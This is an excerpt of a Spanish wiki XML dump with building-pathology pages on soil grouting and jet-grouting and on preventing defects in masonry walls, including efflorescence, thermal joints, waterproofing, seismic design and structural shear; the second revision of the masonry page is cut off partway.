La efectividad de estos metodos no está totalmente asegurada dado que no se conoce a priori la calidad exacta del resultado ni el coste de la operación.


[[Archivo:Recalce1.jpg|200px|thumb|right|Recalce]]


==== Inyecciones de cementación. ====

Estas inyecciones consisten en hacer penetrar en el terreno, a través de taladros de pequeño diámetro, la correspondiente solución, formando con el terreno un material de alta resistencia y cohesión.

Las aplicaciones de este método son variadas. Se pueden crear macizos consolidados debajo del edificio. Se pueden mejorar las cimentaciones existentes, solidarizandolas o mejorando su apoyo. También construir pantallas o elementos rígidos alrededor del edificio, o cortar afluencias de aguas. En general se mejoran las capacidades mecánicas del terreno, se cementa, y se colmatan sus poros reduciendo la permeabilidad.

Las inyecciones de cemento son apropiadas en materiales granulares gruesos (zahorras, gravas arenosas, arenas gruesas). Si se trata de limos, arenas finas o arcillosas hay que recurrir a la impregnación de tipo química con gel de sílice o resinas, productos mucho más caros que la lechada de cemento. 

Para determinar la profundidad y separación de los taladros se estima la amplitud del bulbo inyectado en correspondencia con un cierto volumen de inyección. La profundidad de la inyección dependerá de la presión y de la viscosidad del producto inyectado. Es muy importante el control de estas presiones ya que puede producirse la rotura hidráulica del terreno. Esta operación siempre produce algunos asientos del terreno más importantes cuanto más cargado esté el cimiento y más flojo o abierto esté el terreno.

==== Inyecciones de relleno. ====

Estas inyecciones, parecidas a las de cementación, se utilizan para colmatar y sellar capas de terreno o rellenos flojos en las que existen huecos importantes. La idea es que el conjunto resultante del terreno con los huecos rellenos soporte las cimentaciones en condiciones adecuadas de seguridad y con pequeños asientos posteriores.

Se utilizan mezclas con gran capacidad de absorción de agua como las lechadas de bentonita-cemento, o productos químicos con estructura alveolar como los poliuretanos.


==== Inyecciones de compactación. ====

Estas inyecciones consisten en la introducción en el terreno de un mortero plástico a elevadas presiones. Este mortero más viscoso de lo habitual, desplaza el terreno en lugar de rellenar los huecos, densificandolo y creando una estructura final mucho más resistente. 

Se usa para la recuperación de asientos diferenciales, levantamiento o rectificación de rasantes en soleras, reforma de apoyos de zapatas o mejora de la resistencia del terreno en torno a cimentaciones por pilotaje.

Los suelos más indicados para este tipo de inyección son los arenosos compresibles en los que el efecto de la inyección se transmite rápidamente, y los menos adecuados son los arcillosos, dada la lentitud de la transmisión.

La extensión de la zona afectada por la inyección depende de la rigidez del suelo, y puede alcanzar los 10 metros en terrenos blandos. El producto a inyectar ha de ser fluido, como las lechadas de cemento.Al quedar los productos muy próximos al punto de inyección, los efectos se controlan mejor y ello permite localizar con exactitud las presiones y producir desplazamientos en las zonas deseadas.

=== Técnica del jet-grouting. ===

Se trata de un sistema de inyección que utiliza presiones muy altas. Las altas velocidades con las que sale el producto consiguen romper el suelo, desplazan las partículas hacia afuera y mezclan el suelo adyacente con una lechada de cemento. El resultado final es un nuevo suelo, más o menos cilíndrico, cuya resistencia y permeabilidad son diferentes a las del suelo original. Esta serie de columnas de nuevo suelo, y el espacio confinado entre ellas, originan un terreno mejorado para efectuar la cimentación o corregir defectos.

En la primera fase se perfora el terreno con toberas de diámetros comprendidos entre 8 y 11 cm y posteriormente se inicia el tratamiento, realizado de abajo hacia arriba, mediante esta tobera o tubo inyector. Esta operación exige un alto grado de control en la ejecución


La primera ventaja de este método es que permiten atravesar todo tipo de terrenos por el sistema de perforación con que se realiza. Otra ventaja es que sus dimensiones son muy reducidas, lo que posibilita el acceso a espacios mínimos. La puesta en carga se realiza sin impactos y vibraciones. En cambio su puesta en obra requiere muchos medios con lo cual es necesario un determinado volumen de obra para ser rentable.

Las aplicaciones son múltiples y se utiliza el método en recalces de diversos elementos estructurales, refuerzo y protección de terrenos y excavaciones, redistribución de cargas, etc...

=== Otras operaciones. ===

==== Armado del terreno. ====

Este método consiste en atravesar el terreno, en la zona de influencia de las cimentaciones, por un entretejido de barras metálicas, consiguiéndose así una trabazón que, a efectos prácticos, equivale a una cohesión del mismo.


[[Archivo:Recalce2.jpg|200px|thumb|right|Recalce]]

==== Sustitución del terreno. ====

La sustitución es otra intervención previa a la cimentación, indicada para terrenos de apoyo conformados por materiales no aptos para cimentar, rellenos de baja calidad, arcillas con alto contenido en agua, etc...

La operación consiste en vaciar esas capas de suelo y sustituirlas por un terreno granular adecuadamente extendido y compactado de mejores características.

==== Compactación del terreno. ====

La compactación es el aumento de la densidad de un terreno y se realiza para disminuir la compresibilidad del mismo y por lo tanto los posibles asientos.

{{AutoCat}}</text>
      <sha1>kjzhbzumvxg7p1xod0q3y805qc3kirb</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de fábrica/Muros/Prevención</title>
    <ns>0</ns>
    <id>13795</id>
    <revision>
      <id>430144</id>
      <parentid>63283</parentid>
      <timestamp>2026-08-02T11:50:01Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <origin>430144</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26381" sha1="rnjzv641rgy3j5rfbkez32h8b3bgvzb" xml:space="preserve">

== 1.-.Elementos Estructurales ==

Para evitar las patologías en los elementos estructurales, además de estar bien calculada la estructura ha de estar bien diseñada y evitar posibles errores de ejecución. Una elección adecuada del tipo de estructura y cimentación y un correcto planteamiento reduce la aparición de los daños.

Algunas consideraciones a tener en cuenta tanto en la fase del proyecto como en la fase de ejecución serían:

Evitar la coexistencia de diferentes tipologías de cimentación o el apoyo de la misma en diferentes estratos, para evitar asientos diferenciales que harían trabajar a determinados elementos de forma diferente para la que ha sido diseñada (ejemplo, pilar a tracción) y, como consecuencia, producir deformaciones no previstas.

Evitar los pilares apeados así como las vigas sometidas a torsión (evitar los brochales y las luces grandes de viguetas, de esta forma se evitan momentos torsores mayores en las vigas)

Evitar luces de vigas descompensadas o pilares extremos con vigas de grandes luces, ya que las primeras originas fuerte momentos en los segundos.

Tender a la uniformidad y homogeneidad de distribución estructural.

Para evitar la aparición de fisuras por acumulación de cargas en los voladizos inferiores con cerramientos se deberán construir estos de arriba abajo y calcular el primer voladizo con mayor carga y rigidez, para prevenir la que le puedan transmitir los voladizos superiores.

En voladizos durante la ejecución del encofrado hay que tener en cuenta la contraflecha y retirar los puntales pasados 28 días, para evitar flechas instantáneas y diferidas mayores.

Se deberá comprobar a esfuerzo cortante en las cabezas de las viguetas, sobre todo si no tienen armadura transversal, ya que si supera la resistencia del hormigón y no la de los coeficientes de seguridad se podría producir su hundimiento al someterse a una determinada sobrecarga. Para reforzar un forjado a cortante se macizará la zona de bovedillas adyacentes a las vigas, con hormigón.

Los cercos o estribos de acero para la torsión deberán calcularse independientemente a los de cortante. Si una viga necesita cercos soldados para absorber la torsión y se quiere evitar la soldadura, se pueden duplicar ramas.


Bibliografía:
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


== 2.-. Eflorescencias ==
 

Para reducir el fenómeno de las eflorescencias existen las siguientes recomendaciones:

Utilizar ladrillos calificados, según la norma de ensayo, como no eflorecidos o ligeramente eflorecidos.

Impedir el contacto directo del ladrillo con el terreno en las zonas de acopio, para evitar su contaminación con las sales solubles del suelo.

-    Se ha de evitar que la obra sea contaminada por sales solubles que provienen de suelos “contaminados” (productos industriales, con escombros o residuos orgánicos o inorgánicos).

-   Hay que impedir que en la obra se produzcan filtraciones de agua que mojen la fábrica por diferentes zonas a las normalmente expuestas. Si las eflorescencias no desaparecen durante los 2-3 primeros años y las manchas localizadas no llegan a desaparecer es posible que se esté dando esta situación. Es muy importante, pues, la correcta ejecución de los detalles constructivos, para evitar la entrada de agua.

-   En las eflorescencias del tipo I, para evitar la reacción ladrillo-mortero se deberían usar morteros bastardos (cemento-cal-arena), evitar la succión del agua y las sales del mortero mediante el mojado previo de la pieza y en caso de lluvias abundantes proteger la fábrica que esté recientemente ejecutada. Para evitar la absorción de sales del suelo, se han de colocar correctas barreras antihumedad (láminas impermeables, corte capilar, etc.).

-   Durante la ejecución de la obra hay que intentar que los ladrillos no se mojen demasiado.

-   En época de lluvias fuertes hay que cubrir la obra no terminada y el acopio de ladrillos a pie de obra.

Mediante el ensayo descrito en la norma UNE 67029:1995 EX se puede determinar la eflorescencia en los ladrillos (que para los ladrillos “cara vista” adquiere una mayor importancia):

Muchos de los factores causantes de la eflorescencia son ajenos al propio ladrillo, aunque por ser en este material donde aparecen las manchas, existe una tendencia generalizada a hacerle responsable del problema.


Bibliografía:
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”.


=== 3.-. Fábricas de bloque cerámico de arcilla aligerada. ==


Una correcta ejecución de la fábrica así como la consideración de los parámetros adecuados en la fase de proyecto son esenciales para evitar la aparición de daños en fábricas de bloque cerámico de arcilla aligerada, debiendo emplearse las piezas especiales y seguir las recomendaciones del fabricante en el proceso de puesta en obra.

Para evitar la aparición de fisuras en los puntos que hemos indicado en el apartado anterior, que son más susceptibles de ser afectados, deberían tomarse algunas medidas como las relacionadas a continuación:

• Unión muro – forjado:

o   Evitar retracciones del hormigón que provoquen empujes del forjado a la fábrica, empleando para ello las dosificaciones correctas (ver ficha nº 45 de retracciones del hormigón), así como un correcto fraguado, y evitando un exceso de finos en el árido o un exceso de cemento.

o  Ejecución adecuada de la fábrica: tendeles con espesor uniforme (1-1,5 cm.), empleo de morteros mixtos y humedecer las piezas antes de su colocación. 

o  Dejar transcurrir un tiempo entre la terminación del muro hasta el hormigonado del forjado. 

o  Disponer forjados de rigidez suficiente, para lo cual se deberá dimensionar el mismo con un canto adecuado y suficiente para soportar las cargas a las que esté sometido evitando una deformación excesiva y el giro del forjado en el apoyo (que ocasionaría la fisura horizontal a nivel de la cara inferior del forjado). 

o  Ejecutar zunchos de hormigón correctamente armados que apoyen de forma adecuada en el muro.

o  En los bloques del muro de coronación se debería colocar una lámina plástica para que no penetre el hormigón en las perforaciones o utilizar la pieza dintel, que tiene forma de L.

o En los muros de cerramiento se deberá dejar una holgura de 2 cm. rellena con material elástico y resistente al fuego.

• Dinteles:

o  Deberán considerarse longitudes de apoyo adecuadas, sin ser excesivas, de forma que evite concentraciones de carga importantes en las jambas. Hasta luces de 1,5 m el dintel apoyará 1/5 de L a cada lado, mínimo 15 cm. en cerramientos y 30 cm. en muros de carga. Para luces &gt; 1,5 m el apoyo se deberá comprobar mediante cálculo

o  Cargaderos con armadura y canto suficientes.

o  El revestimiento sobre los dinteles se armará con malla de fibra de vidrio, prolongándola al menos 20 cm. por encima del final del dintel y con un goterón en su cara inferior.

o  Las zonas donde se prevean concentraciones de carga se reforzarán mediante armaduras de tendel.

• Muros con distinta carga o sección, cargados heterogéneamente, con diferentes materiales:

o Cuando se produzcan cambios de sección en un mismo paño, realizar una junta de movimiento vertical en ese punto y reforzar la zona de encuentro mediante armadura en los tendeles.

o Si se emplean materiales diferentes, en la zona de contacto de uno con otro debería realizarse una junta vertical entre ambos tramos.

o En zonas donde se concentran las cargas, se deberá reforzar la misma mediante armadura en el tendel (dinteles y antepechos, en la formación de huecos, cargas concentradas, etc.).


Bibliografía:
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.


=== 4.-. Efecto de la temperatura. ===


Tanto en proyecto como en ejecución se deberá realizar el estudio adecuado y aplicar unas reglas de diseño para evitar los daños provocados por efecto de la temperatura. Algunas medidas serían:

- Juntas de dilatación o de contracción que absorban los movimientos originados. Se deberá tener en cuenta su disposición según superficie, dimensionado, estudio de materiales de sellado y relleno, etc.

o  En la estructura, estas juntas afectarán al edificio en su totalidad (excepto en los cimientos enterrados que no necesitan juntas de dilatación), a las distancias adecuadas y duplicándose elementos estructurales tales como pilares o empleando ménsulas cortas.
o  En los cerramientos de ladrillo las juntas deberán fraccionar paños a distancias adecuadas (12-15 m), se situarán en las esquinas (si son paños de gran longitud), en quiebros, en encuentros con otro tipo de cerramientos u otros paños de ladrillo sin traba, en prolongaciones de ventanas alargadas... Se realizarán también juntas horizontales en el encuentro entre fábrica y forjado.

o  En los muros de sótano se realizarán cada cierta distancia (7 metros) y en puntos singulares como cambios de altura de muro, donde cambie la profundidad del plano de cimentación y en cambios de dirección de planta, teniendo en cuenta además la cuantía mínima de la armadura horizontal.

o  En solados, se realizarán subdividiendo la superficie en paños, disponiéndose además entre aquellos que no estén en un mismo plano: entre soporte, mortero y losetas, así como perimetralmente. Se dispondrán en el límite con los muros y alrededor de pilares (las juntas de contracción serán transversales y longitudinales) y se evitarán los puntos angulosos.

- Correcta ejecución de las juntas, con materiales adecuados, limpieza y en su caso, colocación de piezas especiales, impermeabilización de la misma, etc.

o El sellado será compresible e irá sobre un fondo de junta que también será elástico. El ancho de las juntas dependerá del movimiento previsto y de la compresibilidad del sellante; el espesor o profundidad de este dependerá de las características del material y del ancho de junta.

- En caso de fachadas de ladrillo, dotar a las mismas de la independencia suficiente de la estructura para permitir los movimientos de ambos elementos.

- Mantenimiento adecuado: las juntas requieren una conservación e inspección periódica para evitar su degradación y la entrada de elementos extraños. Determinados materiales empleados poseen una durabilidad determinada (por ejemplo la silicona, tiene una durabilidad aproximada de 10 años), con lo que habrá que sustituirlo al cabo de ese tiempo.


=== 5.-. Muros de piedra ===


La prevención en muros de piedra será antes que la intervención si bien es cierto que generalmente no es posible la eliminación de los factores externos que atacan la piedra (agua, contaminación ambiental...) por lo que habrá que intentar paliar sus efectos. Se debe realizar una conservación adecuada, lo cual es fundamental, para evitar la acción negativa de los factores climatológicos y medioambientales.
Algunas actuaciones a tener en cuenta en el proceso de proyección, intervención o mantenimiento serían:

- La piedra es porosa por lo que se ha de prever una impermeabilización de la misma contra las manchas de agua o grasa mediante la creación de una película protectora y duradera sobre su superficie que repela aquellos elementos que entren en contacto con la misma de manera accidental.

- Las piedras deberán cumplir las siguientes condiciones:

o compactadas, homogéneas y tenaces siendo preferibles las de grano fino

o carecerán de grietas o pelos, coqueras, restos orgánicos, nódulos o riñones, blandones, gabarros y no deberán estar atronadas por causa de los explosivos empleados en su extracción

o deberán tener la resistencia adecuada a las cargas permanentes o accidentales que sobre ellas hayan de actuar. En casos especiales podrán exigirse determinadas condiciones de resistencia a la percusión o al desgaste por razonamiento

o no ser absorbentes ni permeables, no debiendo pasar la cantidad de agua absorbida del cuatro y medio por ciento (4,5%) de su volumen

o no ser heladizas, resistiendo bien la acción de los agentes atmosféricos, deberá reunir las condiciones de labra en relación con su clase y destino, debiendo en general ser de fácil trabajo, incluyendo en éste el desbaste, labras lisa y moldeado.
o presentarán buenas condiciones de adherencia para los morteros

o poder resistir sin estallar a la acción del fuego...


=== 6.-. Filtración de agua ===


La prevención de la filtración de agua se tratará desde dos frentes distintos:

· Ejecución de un drenaje.
· Impermeabilización de la superficie del muro.

Sistemas de impermeabilización

Proteger los muros por su cara exterior (en contacto con el terreno), es la forma más eficaz, desde el punto de vista de la durabilidad de sus componentes, pero es condición indispensable que su cara exterior sea accesible durante la ejecución. La impermeabilización se consigue mediante la aplicación de membranas.

Dentro de estos sistemas debemos distinguir diferentes soluciones:

·  Por su constitución:
· Laminas, paneles o placas prefabricadas.
· Membranas hechas in situ.

·  Por su naturaleza química
· Bituminosas (LO y LBM-SBS o APP).
· De materiales plásticos (PVC, PEC, HDPE, etc.)
· De cauchos sintéticos (Butilo, EPDM, etc.)
· Minerales, inorgánicos (Bentonitas expansivas)

Todas ellas podrán ir bien adheridas al soporte, adheridas y fijadas mecánicamente o flotantes con fijaciones mecánicas.

Sistemas de drenaje

Su funcionamiento consiste en la captación de agua contenida en el terreno, a través del material filtrante, para canalizarla y evacuarla antes de que llegue a estar en contacto directo con los muros. El drenaje estará compuesto por un tubo perforado para la captación de agua que recogerá y canalizará la misma hasta la red de saneamiento. Este suele estar rodeado por un filtro geotextil para retener la entrada de finos, y sobre este, se rellena la zanja perimetral con material granular no seleccionado y permeable, sellando finalmente con una capa de arcillas que oscile entre 10-15 cms. El tubo dren deberá tener pendiente constante y los cambios de dirección se resolverán con arquetas algunas de las cuales deberán de ser registrables.


=== 7.-. Acciones sísmicas ===


Prevención por acciones sísmicas:  Hay que tener en cuenta los condicionantes de carácter general:

1.   Plantear tipologías edificatorias adecuadas, en función de la zona sísmica en la que se va a construir, valorando aspectos como: altura, edificios colindantes, distribución de masas, simetría, continuidad de la estructura, etc.

Utilizar sistemas estructurales adecuados para las zonas sísmicas, evitando errores de diseño.
a.  – Emplear materiales de construcción adecuados, tales como aceros de alta ductilidad y hormigones de buena calidad, y una correcta puesta en obra.
b.  – Soluciones adecuadas de encuentros y uniones para el sistema estructural.

Son recomendables seguir las siguientes reglas de diseño y prescripciones constructivas:

- Evitar construir en laderas con tendencias a deslizamientos
- En caso de construir en ladera, evitar la coexistencia en una misma unidad estructural de sistemas de cimentación superficiales y profundos.
- Cimentar sobre un terreno de características geotécnicas homogéneas. De presentar discontinuidades, se dispondría de juntas que independizaran unas partes de otras.
- Emplear estructuras flexibles en suelos firmes y estructuras rígidas en suelo blando.
- Según se desprende del cálculo de cargas sísmicas horizontales, de NTE-ECS, para un mismo tipo de terreno dicha carga sísmica varía en función del ripo de cimentación. Según esto, el orden de adecuación ante sismo de los sistemas de cimentación sería: losa continua, pilotes resistentes a punta, pilotes por fuste, zapatas corridas y, en último caso, zapatas aisladas.
- Antes de construir, es conveniente saber si se puede producir la licuefacción del terreno sobre el que se va a apoyar el edificio; debiendo tomarse las medidas oportunas ante suelos susceptibles de licuefacción o bien evitar la cimentación superficial (en caso de ser una capa de tierra pequeña se puede sustituir o tomar como base de cimentación una amplia losa muy rígida que reduzca los daños en caso de producirse el fallo). En concreto no se considerará la resistencia de fuste de pilotes en la zona de éstos colindantes con estratos susceptibles de licuarse durante un sismo, por tanto las puntas de los pilotes deberán profundizar por debajo de las capas licuables.
- Debe garantizarse el atado en dos direcciones de los elementos de cimentación.
- Recomendaciones específicas para cimentaciones con pilotes, según NCSE-02 art. 4.3.3
- En las zonas de alto riesgo sísmico, se debe reforzar mediante perfiles metálicos o cualquier otro sistema que le proporcione la ductilidad necesaria las chimeneas, para que no se produzca su caída al suelo.
- Los sistemas de forjado de hormigón colocado in situ, constituyen diagramas horizontales suficientemente rígidos para transmitir los efectos sísmicos a los comportamientos tanto bajo fuerzas laterales debidas al sismo como bajo efecto de hundimientos diferenciales en zonas de terreno compresible.
- En algunos casos, aunque el sistema de forjado sea prefabricado suele colocarse sobre él un firme, en ocasiones reforzado con malla de acero, que ayuda a formar el diagrama. La gran densidad de muros, continuos en toda la altura, suele aportar la rigidez suficiente para movimientos en dirección horizontal.
- Intentar introducir la rigidez adicional en el plano de fachada a las estructuras en las que se emplean elementos flexibles de perfiles de acero, para lo cual será necesario que los anclajes entre el marco y el panel sean los adecuados, de no ser así este último saltaría.
- Es fundamental lograr la transmisión de fuerzas entre cerramientos y las vigas y pilares que conforman el pórtico. La fábrica de adobe no se debe considerar como portante para solicitaciones del tipo sísmico.
- Uno de los aspectos del diseño constructivo más importantes a tener en cuenta para las fábricas son la traba, los encadenados, las armaduras y la vinculación entre muros. Junto con la calidad del material debe acompañarse la calidad del mortero de asiento. Las resistencias tanto a tracción como a compresión del mortero de asiento deben ser compatibles con los ladrillos o bloques para lograr así una relativa homogeneización del elemento estructural completo.
- Ya que durante un terremoto, se originan con frecuencia incendios, se deberá proteger la estructura contra ellos, especialmente las plantas de garaje, pues un edificio que ha sido capaz de soportar un terremoto, puede quedar destruido al ser afectados los soportes por las llamas.


=== 8.-. Flexión ===


El comportamiento de las piezas sometidas a flexión depende de manera muy importante de la cuantía mecánica de la armadura de tracción, se ha de tener en cuenta siempre en las fases de diseño y cálculo y en la ejecución. En general, se deberá prestar atención a los cálculos y cuidarse la ejecución según el proyecto, evitando errores que puedan suponer daños en nuestra estructura. Durante la ejecución se deberá tener en consideración:

- tiempos de desencofrado / descimbrado correctos
- tiempos de curado adecuados
- mantener el orden apropiado en la retirada de los puntales y encofrados
- que las sobrecargas de obra (acopio de material...) no superen las cargas consideradas para el cálculo.


=== 9.-. Momento torsor ===


El momento torsor que origina un voladizo en una viga debe ser soportado por el hormigón, la armadura longitudinal del perímetro y los cercos (que deben estar soldados o con una mayor longitud de anclaje).

Algunas consideraciones a tener en cuenta son:

- Cercos totalmente cerrados por soldadura, no deben soldarse a la armadura longitudinal ya que puede dar problemas de fragilización de la armadura si no es apta para el soldeo.

- Los cercos o estribos de acero para la torsión tienen que ser calculados de manera independiente a los de cortantes, dado que sus áreas son sumatorias.

- Si se quiere evitar la soldadura en los cercos, se pueden construir de dos vueltas.

- En edificios de altura la acción eólica puede provocar la aparición de este esfuerzo, siendo mayor el torsor en las plantas más altas por ser mayor la fuerza del viento, por lo que se deberá tener en cuenta la posible acción de este esfuerzo en los pilares perimetrales.

En el caso de elementos prefabricados, algunas consideraciones a tener en cuenta para los torsores en vigas son:

- No es preciso considerar el torsor de una viga si existe un elemento perpendicular que pueda soportar como flector (de empotramiento) el torsor que no consideramos en la viga.

Esto supone una unión rígida a flexión entre viga y forjado; si no existe, los torsores son de equilibrio y, si la viga a su vez está apoyada en el pilar, volcará por esta causa y si no lo hace es por que puede soportar el torsor reacción, descentrando la reacción en el ancho de su apoyo.

Bibliografía:
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


=== 10.-. Esfuerzo rasante ===


Prevención a elementos estructurales por esfuerzo rasante.
Garantizar un comportamiento adecuado de los forjados parcialmente prefabricados, en el que aparecen viguetas prefabricadas junto a hormigones es conseguir que la conexión entre la pieza prefabricada y el hormigón “in situ” sea capaz de transferir las tensiones rasantes derivadas del trabajo conjunto de la sección.
En el caso de forjados con viguetas pretensadas, ya que éstas no suelen ir provistas de elementos de enlace (celosías) que colaboran en la transmisión de rasante, deberá confiarse esta transmisión a las condiciones de la superficie de contacto entre los dos hormigones. Las tensiones que pueda transmitir la junta dependerán de las condiciones de ejecución del forjado (limpieza y humedad de la superficie de contacto previamente al hormigonado, compactación del hormigón, etc.) así como de las características superficiales del elemento prefabricado.

Según la EFHE tanto en forjados con viguetas armadas o pretensadas, como forjados de losas alveolares pretensadas con losa superior hormigonada en obra debe verificarse la tensión rasante que solicita la junta entre el elemento prefabricado y el hormigón vertido en obra (cumpliendo con la normativa, EHE).

Las tensiones rasantes van a depender de la rugosidad de la pieza prefabricada, de la resistencia más débil de los dos hormigones y de la cantidad y posición de la armadura transversal, para ellos los fabricantes de viguetas comprueban los esfuerzos rasantes dando a los fabricados la superficie lateral (se debe controlar la rugosidad alcanzada en el hormigón prefabricado) y la armadura transversal necesarias para evitar el fallo en este sentido. 

Deberá controlarse la recepción de las piezas prefabricadas, para que las superficies en contacto estén libres de polvo y suciedad, y el estado de saturación de las superficies de contacto. 

Para juntas de hormigones vertidos en dos fases, la clasificación de la superficie se aplica a la superficie sobre la que se vierte el hormigón de segunda fase.

En el caso de los forjados de chapa colaborante la resistencia a esfuerzo rasante va a depender de los conectores o pernos de anclaje: número, separación, etc.

Para evitar las roturas de los muros de carga de fábrica de ladrillo por esfuerzo rasante es necesaria una buena adherencia entre piezas y mortero así como la aplicación de cargas verticales que aumenten el rozamiento y por tanto dificulten el deslizamiento horizontal.


Bibliografía:
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.


===Bibliografía General===

“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”. García Verduch, A.  Instituto Universitario de Tecnología Cerámica de Castellón, 1988.
“Curso de formación para colocadores de bloque de Termoarcilla®”
“Manual para el uso del bloque Termoacilla”.
“Diagnosis y causas de patología en la edificación”. Manuel Muñoz Hidalgo.
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.
“Industrialización y prefabricación de elementos resistentes de hormigón”. CEMCO.
“Curso de especialidad en cálculo estructural”. UPM.
“Evaluación de la capacidad resistente de estructuras de hormigón y métodos de rehabilitación
y refuerzo”. Curso INTEMAC.
“Los pilares: criterios para su proyecto, cálculo y reparación”.Florentino Regalado Tesoro
Instrucción para el proyecto y ejecución de forjados unidireccionales de hormigón estructural realizados con elementos prefabricados. EFHE.
“Cálculo, construcción, patología y rehabilitación de forjados de edificación”. J. Calavera.
“Diagnosis y causas en patologías de la edificación ”. Manuel Muñoz Hidalgo.
Artículo Forjados (Internet). Luis Vega Catalán.
Master en Estructuras de la Edificación. Curso de Especialidad en Estructuras hormigón armado y Curso de Especialidad en Cálculo Estructural.</text>
      <sha1>rnjzv641rgy3j5rfbkez32h8b3bgvzb</sha1>
    </revision>
    <revision>
      <id>430145</id>
      <parentid>430144</parentid>
      <timestamp>2026-08-02T11:50:19Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>/* = 3.-. Fábricas de bloque cerámico de arcilla aligerada. */</comment>
      <origin>430145</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="26378" sha1="h6uvshq0r6j2od2v599oiquos0m0i81" xml:space="preserve">

== 1.-.Elementos Estructurales ==

Para evitar las patologías en los elementos estructurales, además de estar bien calculada la estructura ha de estar bien diseñada y evitar posibles errores de ejecución. Una elección adecuada del tipo de estructura y cimentación y un correcto planteamiento reduce la aparición de los daños.

Algunas consideraciones a tener en cuenta tanto en la fase del proyecto como en la fase de ejecución serían:

Evitar la coexistencia de diferentes tipologías de cimentación o el apoyo de la misma en diferentes estratos, para evitar asientos diferenciales que harían trabajar a determinados elementos de forma diferente para la que ha sido diseñada (ejemplo, pilar a tracción) y, como consecuencia, producir deformaciones no previstas.

Evitar los pilares apeados así como las vigas sometidas a torsión (evitar los brochales y las luces grandes de viguetas, de esta forma se evitan momentos torsores mayores en las vigas)

Evitar luces de vigas descompensadas o pilares extremos con vigas de grandes luces, ya que las primeras originas fuerte momentos en los segundos.

Tender a la uniformidad y homogeneidad de distribución estructural.

Para evitar la aparición de fisuras por acumulación de cargas en los voladizos inferiores con cerramientos se deberán construir estos de arriba abajo y calcular el primer voladizo con mayor carga y rigidez, para prevenir la que le puedan transmitir los voladizos superiores.

En voladizos durante la ejecución del encofrado hay que tener en cuenta la contraflecha y retirar los puntales pasados 28 días, para evitar flechas instantáneas y diferidas mayores.

Se deberá comprobar a esfuerzo cortante en las cabezas de las viguetas, sobre todo si no tienen armadura transversal, ya que si supera la resistencia del hormigón y no la de los coeficientes de seguridad se podría producir su hundimiento al someterse a una determinada sobrecarga. Para reforzar un forjado a cortante se macizará la zona de bovedillas adyacentes a las vigas, con hormigón.

Los cercos o estribos de acero para la torsión deberán calcularse independientemente a los de cortante. Si una viga necesita cercos soldados para absorber la torsión y se quiere evitar la soldadura, se pueden duplicar ramas.


Bibliografía:
“Prevención y soluciones en patología estructural de la edificación”. Manuel Muñoz Hidalgo.


== 2.-. Eflorescencias ==
 

Para reducir el fenómeno de las eflorescencias existen las siguientes recomendaciones:

Utilizar ladrillos calificados, según la norma de ensayo, como no eflorecidos o ligeramente eflorecidos.

Impedir el contacto directo del ladrillo con el terreno en las zonas de acopio, para evitar su contaminación con las sales solubles del suelo.

-    Se ha de evitar que la obra sea contaminada por sales solubles que provienen de suelos “contaminados” (productos industriales, con escombros o residuos orgánicos o inorgánicos).

-   Hay que impedir que en la obra se produzcan filtraciones de agua que mojen la fábrica por diferentes zonas a las normalmente expuestas. Si las eflorescencias no desaparecen durante los 2-3 primeros años y las manchas localizadas no llegan a desaparecer es posible que se esté dando esta situación. Es muy importante, pues, la correcta ejecución de los detalles constructivos, para evitar la entrada de agua.

-   En las eflorescencias del tipo I, para evitar la reacción ladrillo-mortero se deberían usar morteros bastardos (cemento-cal-arena), evitar la succión del agua y las sales del mortero mediante el mojado previo de la pieza y en caso de lluvias abundantes proteger la fábrica que esté recientemente ejecutada. Para evitar la absorción de sales del suelo, se han de colocar correctas barreras antihumedad (láminas impermeables, corte capilar, etc.).

-   Durante la ejecución de la obra hay que intentar que los ladrillos no se mojen demasiado.

-   En época de lluvias fuertes hay que cubrir la obra no terminada y el acopio de ladrillos a pie de obra.

Mediante el ensayo descrito en la norma UNE 67029:1995 EX se puede determinar la eflorescencia en los ladrillos (que para los ladrillos “cara vista” adquiere una mayor importancia):

Muchos de los factores causantes de la eflorescencia son ajenos al propio ladrillo, aunque por ser en este material donde aparecen las manchas, existe una tendencia generalizada a hacerle responsable del problema.


Bibliografía:
“El muro de ladrillo”. Fombella R.  Hispalyt 1992.
“Eflorescencias”. García Verduch, A.  Arcilla cocida nº11, Marzo 1981.
“Guía para el estudios de velos y eflorescencias en ladrillos de construcción”.


===  Fábricas de bloque cerámico de arcilla aligerada. ===


Una correcta ejecución de la fábrica así como la consideración de los parámetros adecuados en la fase de proyecto son esenciales para evitar la aparición de daños en fábricas de bloque cerámico de arcilla aligerada, debiendo emplearse las piezas especiales y seguir las recomendaciones del fabricante en el proceso de puesta en obra.

Para evitar la aparición de fisuras en los puntos que hemos indicado en el apartado anterior, que son más susceptibles de ser afectados, deberían tomarse algunas medidas como las relacionadas a continuación:

• Unión muro – forjado:

